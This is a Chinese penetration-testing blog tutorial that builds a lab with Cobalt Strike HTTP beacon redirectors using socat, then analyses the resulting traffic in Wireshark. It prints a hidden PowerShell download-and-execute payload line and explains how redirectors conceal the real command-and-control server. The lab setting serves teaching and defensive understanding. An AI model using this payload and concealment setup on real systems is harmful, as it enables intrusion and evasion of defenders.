149.网络安全渗透测试—[Cobalt Strike系列]—[HTTP Beacon重定器/代理服务器/流量走向分析]

news/2024/12/2 18:29:30/

我认为,无论是学习安全还是从事安全的人多多少少都会有些许的情怀和使命感!!!

文章目录

    • 一、Cobalt Strike 重定器
      • 1、Cobalt Strike 重定器简介
      • 2、重定器用到的端口转发工具
    • 二、cobalt strike重定器实验
      • 1、实验背景
      • 2、实验过程
      • 3、流量分析

一、Cobalt Strike 重定器

1、Cobalt Strike 重定器简介

(1)重定器简介
    “重定器”是一个在“cobalt strike”服务器和目标网络之间的服务器。这个“重定器”的作用是对你团队服务器下的连接进行任意的连接或返回。(注:即通常说的代理服务器或端口转发工具),“重定器”服务(在攻击和防御中)是很重要的角色。

(2)重定器功能
    第一 保护team server团队服务器地址,并作为攻击者,它也是一个很好的安全操作。
    第二 它给予了热冗余备份能力,假如你的众多重定器中有一两个堵塞了没有大不了的,还可以通过其他的重定器进行通信。

(3)重定器拓扑

Windows Server 2019kaliUbunt1Ubunt2Windows Server 2008
充当DSN服务器充当team server团队服务器充当重定器1(即代理服务器1)充当重定器2(即代理服务器2)充当靶机

在这里插入图片描述

2、重定器用到的端口转发工具

    工具socat是一款端口重定向工具,我们用它来建立80端口上的连接管理,并且继续在80端口运行那个连接团队服务器的连接。(即监听本地80端口,把向本地80的连接请求转发给teamserver团队服务器的80)

    充当重定器的linux系统上的命令:socat TCP4-LISTEN:80,fork TCP4:[team server]:80

二、cobalt strike重定器实验

1、实验背景

(1)网络环境:NAT

(1)dns服务器 windows server2019: 192.168.97.19
(2)team server服务器 kali:192.168.97.129
(3)重定器1 ubuntu14:192.168.97.202
(4)重定器2 ubuntu16:192.168.97.203
(5)靶机 windows server 2008:192.168.97.131

(2)DNS服务器:Windows Server 2019

在这里插入图片描述

第一步:新建域名 team.com
    添加一个a记录测试是否成功:ceshi.team.com 192.168.97.19
在这里插入图片描述

第二步:然后添加以下a记录
    Teamserver:192.168.97.129 t.team.com
    ubuntu跳板 1:192.168.97.202 r1.team.com
    ubuntu跳板2: 192.168.97.203 r2.team.com
在这里插入图片描述

(3)team server团队服务器:kali linux

vim /etc/network/interfaces
在这里插入图片描述
vim /etc/resolv.conf
在这里插入图片描述

(4)重定器1:Ubuntu14.04.5

在这里插入图片描述
在这里插入图片描述

(5)重定器2:Ubuntu16.04.3
在这里插入图片描述
在这里插入图片描述

(6)靶机:Windows Server 2008
在这里插入图片描述

2、实验过程

(1)kali开启teamserver团队服务器:./teamserver 192.168.97.129 123456
//注意:这里要用IP地址,不能使用域名
在这里插入图片描述
(2)本地连接teamserver团队服务器:./cobaltstrike
//注意:这里不再新开虚拟机充当攻击者团队成员了,直接使用kali本地连接到teamserver,因为一样都是在团队服务器上操作。
在这里插入图片描述在这里插入图片描述

(3)所有ubuntu跳板开启端口转发:socat TCP4-LISTEN:80,fork TCP4:ts.team.com:80
//解释1:TCP4-LISTEN:80是监听本地的80端口
//解释2:fork TCP4:t.team.com:80是把监听到的本地端口的连接重定向到teamserver的80端口
//总结:只要是对跳板机的80请求,都会重定向到teamserver,因此在以后的监听器和攻击载荷配置的时候基本上可以把跳板当作teamserver来配置的时候进行配置。(具体操作在下面)
//如下图所示:
在这里插入图片描述
在这里插入图片描述

(4)测试重定向是否成功:
第一步:在team server上打开cs 的web日志浏览器
//如下图所示:点击View选项卡,选择Web Log
在这里插入图片描述
第二步:在dns服务器的火狐浏览器上访问http://r1.team.com/r1
//如下图所示:此时r1接收到dns服务器发来的80请求,r1通过socat把80请求重定向到team server,因此team server会记录到来自r1的请求。
在这里插入图片描述

在这里插入图片描述

第三步:在dns服务器的火狐浏览器访问http://r2.team.com/r2
//如下图所示:此时r2接收到dns服务器发来的80请求,r2通过socat会把80请求重定向到team server,因此team server会记录到来自r2的请求。
在这里插入图片描述
在这里插入图片描述

(5)配置监听器注意事项
注意1:监听器的的第一个host填写team server真实地址
注意2:监听器的的第二个host填写team server所有重定器地址
附:生成攻击载荷的时候host填写任意一个team server的重定器地址(只是为了提供下载),从而隐藏真正的team server地址。
在这里插入图片描述
(6)配置监听器
//如下图所示:这里的host填写的是beacon的真实地址,也就是teamserver团队服务器的地址
在这里插入图片描述
//如下图所示:其中英文This beacon uses HTTP to check for taskings.Please provide thedomains to use for beaconing.The A record for these domainsmust point to your Cobalt strike system. An lP address is OK.separate each host or domain with a comma.的翻译如下:此信标使用HTTP检查任务。请提供用于信标的域。这些域的A记录必须指向您的Cobalt打击系统。IP地址可以。用逗号分隔每个主机或域。(因此:这里填写的是指向teamserver团队服务器的众多重定器)
在这里插入图片描述

(7)生成payload攻击载荷:使用脚本web传递
//如下图所示:生成攻击载荷的时候host填写任意一个team server的重定器地址(只是为了提供下载),从而隐藏真正的team server地址。
在这里插入图片描述
//如下图所示:保存下来payload powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://r2.team.com:80/a'))"
在这里插入图片描述
(8)靶机运行payload:powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://r2.team.com:80/a'))"
//如下图所示:在靶机上运行payload
在这里插入图片描述
//如下图所示:在team server的web日志上记录了跳板r2向team server的请求(实际为靶机向r2请求,r2转到了team server)
在这里插入图片描述
(9)team server上移除会话,断开r2跳板机的socat端口转发,靶机重新使用一次payload,测试冗余功能
//如下图所示:team server移除连接

//如下图所示:断开r2跳板机的socat端口转发
在这里插入图片描述
//如下图所示:靶机再次运行一次payload
在这里插入图片描述
//如下图所示:team server上面只记录到了r1和靶机之间的连接(实际上是靶机向r1发起连接,让r1转发到了team server)

在这里插入图片描述

3、流量分析

(1)在team server服务器打开wireshark,查看流量走向:

//如下图所示:有虚实两种线,是区别两个TCP连接,由于在抓包的过程中,他的包顺序可能会混乱,因此我们分别追踪167的TCP流和174的TCP流,再去加以分析。
在这里插入图片描述

//如下所示:追踪167的TCP流,发现是167到185,是靶机和r1之间的连接
在这里插入图片描述

//如下图解释1:167到169是靶机和r1之间的TCP三次握手,靶机的49321端口和r1的80端口之间建立了连接;
在这里插入图片描述

//如下图解释2:170到173是靶机和r1之间的http连接;
在这里插入图片描述

//如下图解释3:183到184是r2和team server之间的TCP三次握手(本该是四次,这里把FIN和ACK合并了),断开TCP连接;
在这里插入图片描述

//如下图所示:追踪174的TCP流,发现是174到187,是r1和team server之间的连接
在这里插入图片描述

//如下图解释1:174到176是r1跳板和team server之间经过三次握手建立的TCP连接
在这里插入图片描述

//如下图解释2:177到179是r1跳板和team server之间的HTTP连接
在这里插入图片描述

//如下图解释3:180-181-186-187是r1跳板和team server之间四次挥手,断开TCP连接
在这里插入图片描述

(2)移除team server上建立的会话,等待再次连接后,重新查看流量走向,与team server上的命令查看的端口记录对照:
//如下图所示:r1跳板的40314和team server的80端口进行了连接并断开
在这里插入图片描述

//如下图所示:在team server上存在记录
在这里插入图片描述

(3)把r2跳板的socat端口转发打开,再次查看流量走向:

//如下图所示:发现靶机和r2也有连接
在这里插入图片描述

//如下图所示:r2和team server也有连接
在这里插入图片描述

(4)为了验证第13条中的结论,也就是r1和r2都和靶机有连接,我们此时把team server上的会话sleep设置为5,也就是每5秒交互一次,此时观察team server的视图,会发现在5秒后r1和r2在替换

在这里插入图片描述


http://www.ppmy.cn/news/44911.html

相关文章

概率机器学习笔记

1.单变量高斯混合分布 原书对结果的得出没有给出解释,我比较困惑,网上找到了一篇推导的帖子,看完就明白了。 式2.49的解释: 红框即为关键处,这是显而易见的期望,不过是条件方差的期望: 该证明的作者&…

javaEE 初阶 — 第一个 servlet 程序

文章目录 Servlet 是什么第一个 Servlet 程序1 创建项目2 引入依赖3 创建目录结构4 代码编写5 打包程序6 部署7 验证 如何使用 tomcat 插件打包及部署1 什么是插件2 插件的安装3 插件的使用4 可能会出现的问题 Servlet 是什么 Servlet 是一种实现 动态页面 的技术,是…

K8S指南-平滑升级与自动扩缩容

目录: (1)k8s指南-概述 (2)k8s指南-架构 (3)k8s指南-工作负载(1) (4)k8s指南-工作负载(2) (5)k8s指南-工作负载(3) (6)k8s指南-工作负载(4) (7)k8s指南-Service (8)k8s指南-Ingress (9)k8s指南-DNS与服务发现 (10)K8S指南-平滑升级与自动扩缩容 首先给个结论: 系统…

软考高级已过,可以继续考软考中级吗?

如果你已经通过软考高级考试,也可以继续考软考中级,这对提升个人职业素质和竞争力都有一定的帮助。 软考中级是指软件设计师中级职业资格证书考试,是由中国信息技术职业资格考试中心主办的一项职业资格认证考试。该考试主要面向从事软件开发…

【Node.js】Express框架的基本使用

✍️ 作者简介: 前端新手学习中。 💂 作者主页: 作者主页查看更多前端教学 🎓 专栏分享:css重难点教学 Node.js教学 从头开始学习 目录 初识Express Express简介 什么是Express 进一步理解 Express Express能做什么 Express的基本使用 …

【Spring6】| Spring IoC注解式开发

目录 一:Spring IoC注解式开发 1. 回顾注解 2. 声明Bean的四个注解 3. Spring注解的使用 4. 选择性实例化Bean 5. 负责注入的注解(重点) 5.1 Value 5.2 Autowired与Qualifier 5.3 Resource 6. 全注解式开发 一:Spring I…

【数据结构与算法】 - 双向链表 - 详细实现思路及代码

目录 一、概述 二、双向链表 三、双向链表实现步骤  📌3.1 C语言定义双向链表结点  📌3.2 双向链表初始化  📌3.3 双向链表插入数据  📌3.4 双向链表删除数据  📌3.5 双向链表查找数据  📌3.6 双向链…

Arcgis小技巧【12】——ArcGIS标注的各种用法和示例

标注是将描述性文本放置在地图中的要素上或要素旁的过程。 本文整理了ArcGIS中的各种标注方法、可能遇到的问题和细节,内容比较杂,想到哪写到哪。 一、正常标注某一字段值的内容 右键点击【属性】,在【标注】选项卡下勾选【标注此图层中的的…